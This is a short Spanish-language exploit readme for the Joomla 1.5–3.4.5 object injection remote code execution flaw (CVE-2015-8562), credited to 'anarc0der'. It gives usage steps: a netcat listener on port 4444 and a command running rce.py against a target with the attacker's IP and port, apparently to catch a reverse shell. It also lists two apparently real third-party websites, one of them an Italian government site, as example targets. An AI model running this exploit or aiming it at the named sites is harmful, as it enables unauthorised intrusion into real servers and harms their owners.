
Joomla 1.5 - 3.4.5 Inyección de Objetos RCE Cabecera X-Forwarded-For
Exploit: Joomla 1.5 - 3.4.5 Object Injection RCE X-Forwarded-For header:
Fecha de la vulnerabilidad: 17/12/2015
Autor del exploit: anarc0der
Versión: Joomla 1.5 a 3.4.5
CVE : CVE-2015-8562
Cómo usarlo:
Abre una terminal y escucha con nc: $ nc -lnvp 4444
Abre otra terminal y ejecuta el exploit:
python3 rce.py --target='objetivo' --ip='ip' --port=4444
Ejemplos de objetivos PoC (No los jodas, úsalos como ejemplo para otras personas):
http://www.monitoraggiograduatorie.gov.it/
http://budo-aykac.nl/